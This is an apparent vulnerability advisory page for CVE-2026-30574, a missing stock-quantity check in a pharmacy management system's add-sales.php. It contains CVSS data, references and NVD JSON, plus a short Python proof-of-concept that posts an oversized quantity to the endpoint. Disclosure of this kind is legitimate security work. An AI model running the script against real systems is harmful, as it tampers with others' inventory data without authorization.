CVE-2026-30574

Description

A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-sales.php file. The application fails to verify if the requested sales quantity (txtqty) exceeds the available stock level. An attacker can manipulate the request to purchase a quantity that is significantly higher than the actual available stock.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE

SourceCodester Pharmacy Product Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Target endpoint for adding sales
    url = f"{target_url}/add-sales.php"
    
    # Malicious payload: requesting a quantity (99999) that exceeds stock
    # Adjust 'product_id' based on the actual target product ID
    payload = {
        "product_id": "1",
        "txtqty": "99999",  # Overselling quantity
        "submit": "Submit"
    }
    
    try:
        response = requests.post(url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Exploit request sent successfully.")
            print("[+] Check the inventory to verify data integrity impact.")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1/pharmacy_system" # Replace with actual target
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30574
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30574
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30574/
[4] VulDB https://vuldb.com/cve/CVE-2026-30574
[5] https://github.com/meifukun/Web-Security-PoCs/blob/main/Pharmacy-Product-Management-System/Logic-AddSales-Overselling.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30574", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:28.823", "lastModified": "2026-03-31T18:03:28.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-sales.php file. The application fails to verify if the requested sales quantity (txtqty) exceeds the available stock level. An attacker can manipulate the request to purchase a quantity that is significantly higher than the actual available stock."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-841"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "DB2DA030-DE10-4DA9-86D7-3E3E9A22DABC"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Pharmacy-Product-Management-System/Logic-AddSales-Overselling.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}